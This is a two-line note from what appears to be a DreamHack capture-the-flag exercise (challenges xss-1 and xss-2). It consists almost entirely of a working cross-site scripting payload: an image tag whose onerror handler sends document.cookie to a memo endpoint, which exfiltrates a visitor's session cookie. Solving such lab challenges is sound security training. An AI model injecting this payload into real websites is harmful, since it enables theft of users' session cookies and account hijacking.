[dreamHack] xss-1, xss-2

<img src=x onerror=location.href="/memo?memo="+document.cookie />